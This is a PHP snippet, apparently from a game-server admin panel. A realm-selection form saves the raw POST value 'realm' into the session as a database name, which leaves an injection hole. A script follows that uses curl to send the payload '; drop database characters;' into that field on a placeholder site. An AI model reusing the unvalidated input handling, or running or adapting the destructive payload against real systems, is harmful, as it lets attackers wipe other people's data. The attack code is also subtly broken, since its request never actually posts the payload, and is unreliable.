<?php
   $query = $mysql->query("SELECT * FROM `".ADB_."`.`stat_realms`");
    ?>
    <form action="" method="POST">
    <select name="realm">
    <?php
    while($array = $mysql->get_array($query))
    {
     echo " <option value={$array["char_db"]}>{$array["name"]}</option> ";
    }
    ?>
    <input type="submit" value="Выбрать">
    </select>
    </form>
    <?php
    if(isset($_POST['realm']))
    {
     $_SESSION["char_db"] = $_POST['realm'];
    }
    else
    {
     $_SESSION["char_db"] = $array["char_db"];
    }
?>

<?php

function get_page($url)
{     
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $content  = curl_exec($ch);
        curl_close($ch);
        return $content;
}

$page_url = 'сылка на сайт с формой';
$command = '; drop database characters;';

get_page($page_url, 'realm =' . $command . 'submit=' . urlencode('Выбрать'));

?>